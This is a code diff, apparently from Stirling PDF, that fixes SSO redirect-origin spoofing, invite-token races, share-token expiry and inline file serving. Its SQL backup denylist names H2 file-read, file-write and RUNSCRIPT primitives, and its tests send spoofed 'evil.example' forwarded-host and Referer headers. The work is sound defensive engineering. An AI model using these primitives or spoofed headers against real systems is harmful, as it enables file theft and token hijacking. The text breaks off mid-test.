import static stirling.software.proprietary.security.model.AuthenticationType.OAUTH2;
import java.io.IOException;
import java.net.URI;
import java.sql.SQLException;
import java.util.Map;
import java.util.Optional;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseCookie;
@@ -37,6 +35,7 @@ import stirling.software.proprietary.security.service.JwtServiceInterface;
import stirling.software.proprietary.security.service.LoginAttemptService;
import stirling.software.proprietary.security.service.UserService;
import stirling.software.proprietary.security.util.DesktopClientUtils;
import stirling.software.proprietary.security.util.SsoRedirectOriginResolver;
@Slf4j
@RequiredArgsConstructor
@@ -217,12 +216,7 @@ public class CustomOAuth2AuthenticationSuccessHandler
String contextPath,
String jwt) {
String redirectPath = resolveRedirectPath(request, contextPath);
String origin =
resolveForwardedOrigin(request)
.orElseGet(
() ->
resolveOriginFromReferer(request)
.orElseGet(() -> buildOriginFromRequest(request)));
String origin = SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties);
clearRedirectCookie(response);
// Extract nonce from state for CSRF validation in callback
@@ -248,89 +242,6 @@ public class CustomOAuth2AuthenticationSuccessHandler
return TauriOAuthUtils.defaultCallbackPath(contextPath);
}
private Optional<String> resolveForwardedOrigin(HttpServletRequest request) {
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
return Optional.empty();
}
String host = forwardedHostHeader.split(",")[0].trim();
if (host.isEmpty()) {
return Optional.empty();
}
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
String proto =
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
? request.getScheme()
: forwardedProtoHeader.split(",")[0].trim();
if (!host.contains(":")) {
String forwardedPort = request.getHeader("X-Forwarded-Port");
if (forwardedPort != null
&& !forwardedPort.isBlank()
&& !isDefaultPort(proto, forwardedPort.trim())) {
host = host + ":" + forwardedPort.trim();
}
}
return Optional.of(proto + "://" + host);
}
private Optional<String> resolveOriginFromReferer(HttpServletRequest request) {
String referer = request.getHeader("Referer");
if (referer != null && !referer.isEmpty()) {
try {
URI refererUri = URI.create(referer);
String host = refererUri.getHost();
if (host == null) {
return Optional.empty();
}
String refererHost = host.toLowerCase();
if (!isOAuthProviderDomain(refererHost)) {
String origin = refererUri.getScheme() + "://" + host;
int port = refererUri.getPort();
if (port != -1 && port != 80 && port != 443) {
origin += ":" + port;
}
return Optional.of(origin);
}
} catch (IllegalArgumentException e) {
// ignore and fall back
}
}
return Optional.empty();
}
private String buildOriginFromRequest(HttpServletRequest request) {
String scheme = request.getScheme();
String serverName = request.getServerName();
int serverPort = request.getServerPort();
StringBuilder origin = new StringBuilder();
origin.append(scheme).append("://").append(serverName);
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
origin.append(":").append(serverPort);
}
return origin.toString();
}
private boolean isDefaultPort(String scheme, String port) {
if (port == null) {
return true;
}
try {
int parsedPort = Integer.parseInt(port);
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
} catch (NumberFormatException e) {
return false;
}
}
private void clearRedirectCookie(HttpServletResponse response) {
ResponseCookie cookie =
ResponseCookie.from(TauriOAuthUtils.SPA_REDIRECT_COOKIE, "")
@@ -340,20 +251,4 @@ public class CustomOAuth2AuthenticationSuccessHandler
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
}
/**
* Checks if the given hostname belongs to a known OAuth provider.
*
* @param hostname The hostname to check
* @return true if it's an OAuth provider domain, false otherwise
*/
private boolean isOAuthProviderDomain(String hostname) {
return hostname.contains("google.com")
|| hostname.contains("googleapis.com")
|| hostname.contains("github.com")
|| hostname.contains("microsoft.com")
|| hostname.contains("microsoftonline.com")
|| hostname.contains("linkedin.com")
|| hostname.contains("apple.com");
}
}
@@ -29,4 +29,11 @@ public interface InviteTokenRepository extends JpaRepository<InviteToken, Long>
@Query("SELECT COUNT(it) FROM InviteToken it WHERE it.used = false AND it.expiresAt > :now")
long countActiveInvites(@Param("now") LocalDateTime now);
// Atomic claim so concurrent redemptions of one invite cannot both win (GHSA-rmrr-v9p4-qqvc).
@Modifying(clearAutomatically = true)
@Query(
"UPDATE InviteToken it SET it.used = true, it.usedAt = :now WHERE it.token = :token AND"
+ " it.used = false AND it.expiresAt > :now")
int consumeIfUnused(@Param("token") String token, @Param("now") LocalDateTime now);
}
@@ -3,7 +3,6 @@ package stirling.software.proprietary.security.saml2;
import static stirling.software.proprietary.security.model.AuthenticationType.SAML2;
import java.io.IOException;
import java.net.URI;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.sql.SQLException;
@@ -38,6 +37,7 @@ import stirling.software.proprietary.security.service.JwtServiceInterface;
import stirling.software.proprietary.security.service.LoginAttemptService;
import stirling.software.proprietary.security.service.UserService;
import stirling.software.proprietary.security.util.DesktopClientUtils;
import stirling.software.proprietary.security.util.SsoRedirectOriginResolver;
@AllArgsConstructor
@Slf4j
@@ -264,23 +264,9 @@ public class CustomSaml2AuthenticationSuccessHandler
return url;
}
/**
* Resolve the origin (frontend URL) for redirects. First checks system.frontendUrl from config,
* then falls back to detecting from request headers.
*/
/** Resolve the origin (frontend URL) for redirects. */
private String resolveOrigin(HttpServletRequest request) {
// First check if frontendUrl is configured
String configuredFrontendUrl = applicationProperties.getSystem().getFrontendUrl();
if (configuredFrontendUrl != null && !configuredFrontendUrl.trim().isEmpty()) {
return configuredFrontendUrl.trim();
}
// Fall back to auto-detection from request headers
return resolveForwardedOrigin(request)
.orElseGet(
() ->
resolveOriginFromReferer(request)
.orElseGet(() -> buildOriginFromRequest(request)));
return SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties);
}
private String resolveRedirectPath(HttpServletRequest request, String contextPath) {
@@ -318,85 +304,6 @@ public class CustomSaml2AuthenticationSuccessHandler
return contextPath + DEFAULT_CALLBACK_PATH;
}
private Optional<String> resolveForwardedOrigin(HttpServletRequest request) {
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
return Optional.empty();
}
String host = forwardedHostHeader.split(",")[0].trim();
if (host.isEmpty()) {
return Optional.empty();
}
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
String proto =
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
? request.getScheme()
: forwardedProtoHeader.split(",")[0].trim();
if (!host.contains(":")) {
String forwardedPort = request.getHeader("X-Forwarded-Port");
if (forwardedPort != null
&& !forwardedPort.isBlank()
&& !isDefaultPort(proto, forwardedPort.trim())) {
host = host + ":" + forwardedPort.trim();
}
}
return Optional.of(proto + "://" + host);
}
private Optional<String> resolveOriginFromReferer(HttpServletRequest request) {
String referer = request.getHeader("Referer");
if (referer != null && !referer.isEmpty()) {
try {
URI refererUri = URI.create(referer);
String host = refererUri.getHost();
if (host == null) {
return Optional.empty();
}
String origin = refererUri.getScheme() + "://" + host;
int port = refererUri.getPort();
if (port != -1 && port != 80 && port != 443) {
origin += ":" + port;
}
return Optional.of(origin);
} catch (IllegalArgumentException e) {
log.debug(
"Malformed referer URL: {}, falling back to request-based origin", referer);
}
}
return Optional.empty();
}
private String buildOriginFromRequest(HttpServletRequest request) {
String scheme = request.getScheme();
String serverName = request.getServerName();
int serverPort = request.getServerPort();
StringBuilder origin = new StringBuilder();
origin.append(scheme).append("://").append(serverName);
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
origin.append(":").append(serverPort);
}
return origin.toString();
}
private boolean isDefaultPort(String scheme, String port) {
if (port == null) {
return true;
}
try {
int parsedPort = Integer.parseInt(port);
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
} catch (NumberFormatException e) {
return false;
}
}
private void clearRedirectCookie(HttpServletResponse response) {
ResponseCookie cookie =
ResponseCookie.from(SPA_REDIRECT_COOKIE, "")
@@ -21,6 +21,7 @@ import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.UUID;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.sql.DataSource;
@@ -93,12 +94,16 @@ public class DatabaseService implements DatabaseServiceInterface {
Pattern.compile("(?i)\\bFALSE\\b"),
Pattern.compile("(?i)\\bNULL\\b"));
// H2 grammar allows CREATE [FORCE] [[GLOBAL|LOCAL] TEMPORARY] before the object type
private static final String CREATE_MODIFIERS =
"(?i)\\bCREATE\\s+(FORCE\\s+)?((GLOBAL|LOCAL)\\s+)?(TEMPORARY\\s+)?";
private static final java.util.List<Pattern> DENIED_PATTERNS =
java.util.List.of(
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?ALIAS\\b"),
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?TRIGGER\\b"),
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?AGGREGATE\\b"),
Pattern.compile("(?i)\\bCREATE\\s+LINKED\\s+TABLE\\b"),
Pattern.compile(CREATE_MODIFIERS + "ALIAS\\b"),
Pattern.compile(CREATE_MODIFIERS + "TRIGGER\\b"),
Pattern.compile(CREATE_MODIFIERS + "AGGREGATE\\b"),
Pattern.compile(CREATE_MODIFIERS + "LINKED\\s+TABLE\\b"),
Pattern.compile("(?i)\\bFILE_WRITE\\s*\\("),
Pattern.compile("(?i)\\bFILE_READ\\s*\\("),
Pattern.compile("(?i)\\bCSVWRITE\\s*\\("),
@@ -107,6 +112,11 @@ public class DatabaseService implements DatabaseServiceInterface {
Pattern.compile("(?i)\\bRUNSCRIPT\\b"),
Pattern.compile("(?i)\\bSCRIPT\\s+TO\\b"));
private static final Pattern STRING_LITERAL_PATTERN = Pattern.compile("'((?:[^']|'')*)'");
// A genuine SCRIPT backup never embeds a JDBC URL or a nested script reference in a literal
private static final Pattern DANGEROUS_LITERAL_PATTERN =
Pattern.compile("(?i)(INIT\\s*=|\\bRUNSCRIPT\\b|\\bjdbc:)");
private final ApplicationProperties.Datasource datasourceProps;
private final DataSource dataSource;
private final DatabaseNotificationServiceInterface backupNotificationService;
@@ -525,16 +535,10 @@ public class DatabaseService implements DatabaseServiceInterface {
String content = Files.readString(scriptPath);
String normalizedContent = sanitizeSql(content);
String codeOnly = stripStringLiterals(normalizedContent);
for (Pattern deniedPattern : DENIED_PATTERNS) {
if (deniedPattern.matcher(codeOnly).find()) {
log.error(
"Blocked disallowed SQL in backup file matching: {}",
deniedPattern.pattern());
throw new IllegalArgumentException(
"SQL script contains disallowed operations and was rejected.");
}
}
// Literals get their own narrow check; the denylist runs on code only so that
// ordinary row data merely mentioning a keyword is not rejected.
checkStringLiterals(normalizedContent);
checkDeniedPatterns(stripStringLiterals(normalizedContent));
// Validate that content only contains allowed operations (whitelist approach)
// Split by semicolons to check individual statements
@@ -570,6 +574,29 @@ public class DatabaseService implements DatabaseServiceInterface {
}
}
private void checkDeniedPatterns(String sql) {
for (Pattern deniedPattern : DENIED_PATTERNS) {
if (deniedPattern.matcher(sql).find()) {
log.error(
"Blocked disallowed SQL in backup file matching: {}",
deniedPattern.pattern());
throw new IllegalArgumentException(
"SQL script contains disallowed operations and was rejected.");
}
}
}
private void checkStringLiterals(String sql) {
Matcher literals = STRING_LITERAL_PATTERN.matcher(sql);
while (literals.find()) {
if (DANGEROUS_LITERAL_PATTERN.matcher(literals.group(1)).find()) {
log.error("Blocked SQL string literal containing a nested JDBC or script payload");
throw new IllegalArgumentException(
"SQL script contains disallowed operations and was rejected.");
}
}
}
/**
* Sanitize SQL content by removing comments to prevent bypass attacks.
*
@@ -589,7 +616,7 @@ public class DatabaseService implements DatabaseServiceInterface {
}
private String stripStringLiterals(String sql) {
return sql.replaceAll("'(?:[^']|'')*'", "''");
return STRING_LITERAL_PATTERN.matcher(sql).replaceAll("''");
}
/**
@@ -0,0 +1,177 @@
package stirling.software.proprietary.security.util;
import java.net.URI;
import java.util.Optional;
import jakarta.servlet.http.HttpServletRequest;
import lombok.extern.slf4j.Slf4j;
import stirling.software.common.model.ApplicationProperties;
/**
* Resolves the origin used for post-login SSO redirects (OAuth2 and SAML2).
*
* <p>Precedence:
*
* <ol>
* <li>system.frontendUrl when configured, in which case no request header is consulted
* <li>an X-Forwarded-* or Referer derived origin, but only when its host matches the host of the
* request itself
* <li>the request itself
* </ol>
*/
@Slf4j
public class SsoRedirectOriginResolver {
private SsoRedirectOriginResolver() {
// Utility class - prevent instantiation
}
/**
* Resolve the origin (scheme://host[:port]) to redirect to after a successful SSO login.
*
* @param request the HTTP request
* @param applicationProperties the application properties
* @return the resolved origin, never null
*/
public static String resolveOrigin(
HttpServletRequest request, ApplicationProperties applicationProperties) {
String configuredFrontendUrl = configuredFrontendUrl(applicationProperties);
if (configuredFrontendUrl != null) {
return configuredFrontendUrl;
}
String requestHost = request.getServerName();
return resolveForwardedOrigin(request)
.filter(candidate -> matchesRequestHost(candidate, requestHost, "X-Forwarded-Host"))
.or(
() ->
resolveOriginFromReferer(request)
.filter(
candidate ->
matchesRequestHost(
candidate, requestHost, "Referer")))
.map(Candidate::origin)
.orElseGet(() -> buildOriginFromRequest(request));
}
private static String configuredFrontendUrl(ApplicationProperties applicationProperties) {
if (applicationProperties == null || applicationProperties.getSystem() == null) {
return null;
}
String frontendUrl = applicationProperties.getSystem().getFrontendUrl();
if (frontendUrl == null || frontendUrl.trim().isEmpty()) {
return null;
}
String normalized = frontendUrl.trim();
// a trailing slash would double up against the callback path
return normalized.endsWith("/")
? normalized.substring(0, normalized.length() - 1)
: normalized;
}
private static boolean matchesRequestHost(
Candidate candidate, String requestHost, String source) {
if (requestHost != null && requestHost.equalsIgnoreCase(candidate.host())) {
return true;
}
log.warn(
"Ignoring {}-derived SSO redirect origin '{}' because its host does not match the request host '{}'. Set system.frontendUrl to the external URL of this instance if it is behind a reverse proxy.",
source,
candidate.origin(),
requestHost);
return false;
}
private static Optional<Candidate> resolveForwardedOrigin(HttpServletRequest request) {
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
return Optional.empty();
}
String host = forwardedHostHeader.split(",")[0].trim();
if (host.isEmpty()) {
return Optional.empty();
}
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
String proto =
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
? request.getScheme()
: forwardedProtoHeader.split(",")[0].trim();
String hostWithoutPort = stripPort(host);
if (!host.contains(":")) {
String forwardedPort = request.getHeader("X-Forwarded-Port");
if (forwardedPort != null
&& !forwardedPort.isBlank()
&& !isDefaultPort(proto, forwardedPort.trim())) {
host = host + ":" + forwardedPort.trim();
}
}
return Optional.of(new Candidate(proto + "://" + host, hostWithoutPort));
}
private static Optional<Candidate> resolveOriginFromReferer(HttpServletRequest request) {
String referer = request.getHeader("Referer");
if (referer == null || referer.isEmpty()) {
return Optional.empty();
}
try {
URI refererUri = URI.create(referer);
String host = refererUri.getHost();
if (host == null) {
return Optional.empty();
}
String origin = refererUri.getScheme() + "://" + host;
int port = refererUri.getPort();
if (port != -1 && port != 80 && port != 443) {
origin += ":" + port;
}
return Optional.of(new Candidate(origin, host));
} catch (IllegalArgumentException e) {
log.debug("Malformed referer URL: {}, falling back to request-based origin", referer);
return Optional.empty();
}
}
private static String buildOriginFromRequest(HttpServletRequest request) {
String scheme = request.getScheme();
String serverName = request.getServerName();
int serverPort = request.getServerPort();
StringBuilder origin = new StringBuilder();
origin.append(scheme).append("://").append(serverName);
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
origin.append(":").append(serverPort);
}
return origin.toString();
}
private static String stripPort(String hostAndPort) {
if (hostAndPort.startsWith("[")) {
int bracketEnd = hostAndPort.indexOf(']');
return bracketEnd > 0 ? hostAndPort.substring(0, bracketEnd + 1) : hostAndPort;
}
int colon = hostAndPort.indexOf(':');
return colon > 0 ? hostAndPort.substring(0, colon) : hostAndPort;
}
private static boolean isDefaultPort(String scheme, String port) {
if (port == null) {
return true;
}
try {
int parsedPort = Integer.parseInt(port);
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
} catch (NumberFormatException e) {
return false;
}
}
private record Candidate(String origin, String host) {}
}
@@ -32,6 +32,7 @@ import lombok.extern.slf4j.Slf4j;
import stirling.software.SPDF.pdf.parser.PageImageLocator;
import stirling.software.SPDF.pdf.parser.PdfModels.TableFragment;
import stirling.software.SPDF.pdf.parser.TabulaTableParser;
import stirling.software.common.util.CsvUtils;
import stirling.software.common.util.ExceptionUtils;
import stirling.software.common.util.PdfUtils;
import stirling.software.common.util.RegexPatternUtils;
@@ -119,7 +120,7 @@ public class PdfContentExtractor {
StringWriter sw = new StringWriter();
try (CSVPrinter printer = format.print(sw)) {
for (List<String> row : fragment.rawRows()) {
printer.printRecord(row);
printer.printRecord(CsvUtils.neutraliseRow(row));
}
}
csvStrings.add(sw.toString());
@@ -7,6 +7,7 @@ import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import org.springframework.http.ContentDisposition;
import org.springframework.http.HttpHeaders;
@@ -57,6 +58,17 @@ public class FileStorageController {
private static final Duration SIGNED_URL_TTL = Duration.ofMinutes(5);
// Uploader-controlled content renders on our origin, so only these may be served inline.
private static final Set<String> INLINE_SAFE_TYPES =
Set.of(
"application/pdf",
"image/png",
"image/jpeg",
"image/gif",
"image/webp",
"image/bmp",
"text/plain");
private final FileStorageService fileStorageService;
private final StorageProvider storageProvider;
private final AuditService auditService;
@@ -286,7 +298,8 @@ public class FileStorageController {
? MediaType.APPLICATION_OCTET_STREAM_VALUE
: file.getContentType();
ContentDisposition disposition =
ContentDisposition.builder(inline ? "inline" : "attachment")
ContentDisposition.builder(
inline && isInlineSafe(contentType) ? "inline" : "attachment")
.filename(file.getOriginalFilename())
.build();
HttpHeaders headers = new HttpHeaders();
@@ -300,6 +313,13 @@ public class FileStorageController {
return ResponseEntity.ok().headers(headers).body(resource);
}
// Match on the bare type so a "; charset=..." suffix cannot smuggle text/html past the list.
private static boolean isInlineSafe(String contentType) {
int separator = contentType.indexOf(';');
String bareType = separator < 0 ? contentType : contentType.substring(0, separator);
return INLINE_SAFE_TYPES.contains(bareType.trim().toLowerCase(Locale.ROOT));
}
private boolean isAuthenticated(Authentication authentication) {
return authentication != null
&& authentication.isAuthenticated()
@@ -79,19 +79,7 @@ public class WorkflowParticipantController {
workflowSessionService.ensureSigningEnabled();
WorkflowParticipant participant =
participantRepository
.findByShareToken(token)
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
// Check if participant is expired
if (participant.isExpired()) {
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
}
WorkflowParticipant participant = requireLiveParticipant(token);
// Mark as viewed if not already
if (participant.getStatus() == ParticipantStatus.PENDING
@@ -115,14 +103,7 @@ public class WorkflowParticipantController {
workflowSessionService.ensureSigningEnabled();
WorkflowParticipant participant =
participantRepository
.findByShareToken(token)
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
WorkflowParticipant participant = requireLiveParticipant(token);
return ResponseEntity.ok(WorkflowMapper.toParticipantResponse(participant, false));
}
@@ -145,20 +126,9 @@ public class WorkflowParticipantController {
HttpStatus.BAD_REQUEST, "Participant token is required");
}
WorkflowParticipant participant =
participantRepository
.findByShareToken(request.getParticipantToken())
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
WorkflowParticipant participant = requireLiveParticipant(request.getParticipantToken());
// Check if participant can still submit
if (participant.isExpired()) {
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
}
if (participant.hasCompleted()) {
throw new ResponseStatusException(
HttpStatus.BAD_REQUEST, "Participant has already completed their action");
@@ -204,14 +174,7 @@ public class WorkflowParticipantController {
workflowSessionService.ensureSigningEnabled();
WorkflowParticipant participant =
participantRepository
.findByShareToken(token)
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
WorkflowParticipant participant = requireLiveParticipant(token);
if (participant.hasCompleted()) {
throw new ResponseStatusException(
@@ -248,18 +211,7 @@ public class WorkflowParticipantController {
workflowSessionService.ensureSigningEnabled();
WorkflowParticipant participant =
participantRepository
.findByShareToken(token)
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
if (participant.isExpired()) {
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
}
WorkflowParticipant participant = requireLiveParticipant(token);
try {
WorkflowSession session = participant.getWorkflowSession();
@@ -370,6 +322,28 @@ public class WorkflowParticipantController {
}
}
/**
* Resolves a share token to its participant, rejecting unknown and expired tokens. Every
* participant-facing endpoint must go through this so the expiry check cannot be forgotten
* (GHSA-cjr3-pj58-h8jj).
*/
private WorkflowParticipant requireLiveParticipant(String token) {
WorkflowParticipant participant =
participantRepository
.findByShareToken(token)
.orElseThrow(
() ->
new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Invalid or expired participant token"));
if (participant.isExpired()) {
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
}
return participant;
}
/**
* Builds metadata map from signature submission request. Includes certificate submission and
* wet signature data.
@@ -1,6 +1,7 @@
package stirling.software.proprietary.security.controller.api;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@@ -267,12 +268,37 @@ class InviteLinkControllerMoreTest {
@DisplayName("returns 404 for an expired token")
void expiredToken() throws Exception {
InviteToken invite = validInvite("exp");
invite.setEmail("exp@ex.com");
invite.setExpiresAt(LocalDateTime.now().minusHours(1));
when(inviteTokenRepository.findByToken("exp")).thenReturn(Optional.of(invite));
when(userService.usernameExistsIgnoreCase("exp@ex.com")).thenReturn(false);
// The expiry is enforced by the atomic claim, which matches no row
when(inviteTokenRepository.consumeIfUnused(eq("exp"), any(LocalDateTime.class)))
.thenReturn(0);
mockMvc.perform(post("/api/v1/invite/accept/exp").param("password", "secret123"))
.andExpect(status().isNotFound())
.andExpect(jsonPath("$.error").value("Invalid invite link"));
verify(userService, never()).saveUserCore(any());
}
@Test
@DisplayName("returns 404 for an already-used token without creating an account")
void usedToken() throws Exception {
InviteToken invite = validInvite("used");
invite.setEmail("used@ex.com");
invite.setUsed(true);
when(inviteTokenRepository.findByToken("used")).thenReturn(Optional.of(invite));
when(userService.usernameExistsIgnoreCase("used@ex.com")).thenReturn(false);
when(inviteTokenRepository.consumeIfUnused(eq("used"), any(LocalDateTime.class)))
.thenReturn(0);
mockMvc.perform(post("/api/v1/invite/accept/used").param("password", "secret123"))
.andExpect(status().isNotFound())
.andExpect(jsonPath("$.error").value("Invalid invite link"));
verify(userService, never()).saveUserCore(any());
}
@Test
@@ -295,13 +321,15 @@ class InviteLinkControllerMoreTest {
invite.setTeamId(3L);
when(inviteTokenRepository.findByToken("preset")).thenReturn(Optional.of(invite));
when(userService.usernameExistsIgnoreCase("preset@ex.com")).thenReturn(false);
when(inviteTokenRepository.consumeIfUnused(eq("preset"), any(LocalDateTime.class)))
.thenReturn(1);
mockMvc.perform(post("/api/v1/invite/accept/preset").param("password", "secret123"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.username").value("preset@ex.com"));
verify(userService).saveUserCore(any());
verify(inviteTokenRepository).save(invite);
verify(inviteTokenRepository).consumeIfUnused(eq("preset"), any(LocalDateTime.class));
}
}
}
@@ -2,6 +2,7 @@ package stirling.software.proprietary.security.controller.api;
import static org.hamcrest.Matchers.startsWith;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
@@ -173,6 +174,8 @@ class InviteLinkControllerTest {
invite.setEmail(null); // email required from request
when(inviteTokenRepository.findByToken("abc")).thenReturn(Optional.of(invite));
when(userService.usernameExistsIgnoreCase("new@example.com")).thenReturn(false);
when(inviteTokenRepository.consumeIfUnused(eq("abc"), any(LocalDateTime.class)))
.thenReturn(1);
mockMvc.perform(
post("/api/v1/invite/accept/abc")
@@ -183,6 +186,26 @@ class InviteLinkControllerTest {
.andExpect(jsonPath("$.username").value("new@example.com"));
verify(userService).saveUserCore(any());
verify(inviteTokenRepository).save(invite);
verify(inviteTokenRepository).consumeIfUnused(eq("abc"), any(LocalDateTime.class));
}
@Test
void acceptInviteRejectsWhenTheTokenWasAlreadyConsumed() throws Exception {
InviteToken invite = new InviteToken();
invite.setToken("abc");
invite.setExpiresAt(LocalDateTime.now().plusHours(2));
invite.setRole(Role.USER.getRoleId());
invite.setEmail("race@example.com");
when(inviteTokenRepository.findByToken("abc")).thenReturn(Optional.of(invite));
when(userService.usernameExistsIgnoreCase("race@example.com")).thenReturn(false);
// Loser of the race: the atomic claim matches no row
when(inviteTokenRepository.consumeIfUnused(eq("abc"), any(LocalDateTime.class)))
.thenReturn(0);
mockMvc.perform(post("/api/v1/invite/accept/abc").param("password", "password123"))
.andExpect(status().isNotFound())
.andExpect(jsonPath("$.error").value("Invalid invite link"));
verify(userService, never()).saveUserCore(any());
}
}
@@ -25,8 +25,9 @@ import stirling.software.proprietary.service.UserLicenseSettingsService;
@ExtendWith(MockitoExtension.class)
class CustomOAuth2AuthenticationSuccessHandlerTest {
@Test
void redirectsToTauriCallbackWhenStateMarked() throws Exception {
private final ApplicationProperties applicationProperties = new ApplicationProperties();
private CustomOAuth2AuthenticationSuccessHandler handlerWithStubs() {
LoginAttemptService loginAttemptService = mock(LoginAttemptService.class);
UserService userService = mock(UserService.class);
JwtServiceInterface jwtService = mock(JwtServiceInterface.class);
@@ -37,20 +38,10 @@ class CustomOAuth2AuthenticationSuccessHandlerTest {
oauth2Props.setAutoCreateUser(true);
oauth2Props.setBlockRegistration(false);
ApplicationProperties applicationProperties = new ApplicationProperties();
ApplicationProperties.Security securityProperties = new ApplicationProperties.Security();
securityProperties.setOauth2(oauth2Props);
applicationProperties.setSecurity(securityProperties);
CustomOAuth2AuthenticationSuccessHandler handler =
new CustomOAuth2AuthenticationSuccessHandler(
loginAttemptService,
oauth2Props,
userService,
jwtService,
licenseSettingsService,
applicationProperties);
when(userService.usernameExistsIgnoreCase("user")).thenReturn(false);
when(licenseSettingsService.isOAuthEligible(null)).thenReturn(true);
when(userService.isUserDisabled("user")).thenReturn(false);
@@ -61,25 +52,101 @@ class CustomOAuth2AuthenticationSuccessHandlerTest {
org.mockito.Mockito.anyMap()))
.thenReturn("jwt");
return new CustomOAuth2AuthenticationSuccessHandler(
loginAttemptService,
oauth2Props,
userService,
jwtService,
licenseSettingsService,
applicationProperties);
}
private OAuth2AuthenticationToken authentication() {
Map<String, Object> attributes = Map.of("sub", "provider-sub", "name", "user");
DefaultOAuth2User oauthUser =
new DefaultOAuth2User(
List.of(new SimpleGrantedAuthority("ROLE_USER")), attributes, "name");
OAuth2AuthenticationToken authentication =
new OAuth2AuthenticationToken(oauthUser, oauthUser.getAuthorities(), "google");
return new OAuth2AuthenticationToken(oauthUser, oauthUser.getAuthorities(), "google");
}
private MockHttpServletRequest request() {
MockHttpServletRequest request = new MockHttpServletRequest();
request.setContextPath("");
request.setScheme("http");
request.setServerName("localhost");
request.setServerPort(8080);
return request;
}
@Test
void redirectsToTauriCallbackWhenStateMarked() throws Exception {
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.setParameter("state", "tauri:abc");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication);
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"http://localhost:8080/auth/callback/tauri#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void ignoresForwardedHostFromAnotherHost() throws Exception {
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "evil.example");
request.addHeader("X-Forwarded-Proto", "https");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"http://localhost:8080/auth/callback#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void ignoresRefererFromAnotherHost() throws Exception {
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.addHeader("Referer", "https://evil.example/auth/callback");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"http://localhost:8080/auth/callback#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void usesConfiguredFrontendUrlAndIgnoresHeaders() throws Exception {
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "evil.example");
MockHttpServletResponse response = new MockHttpServletResponse();
handler.onAuthenticationSuccess(request, response, authentication());
assertEquals(
"https://app.example.com/auth/callback#access_token=jwt",
response.getRedirectedUrl());
}
@Test
void honoursForwardedHeadersWhenHostMatchesRequestHost() throws Exception {
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
MockHttpServletRequest request = request();
request.addHeader("X-Forwarded-Host", "localhost");
request.addHeader("X-Forwarded-Proto", "https");
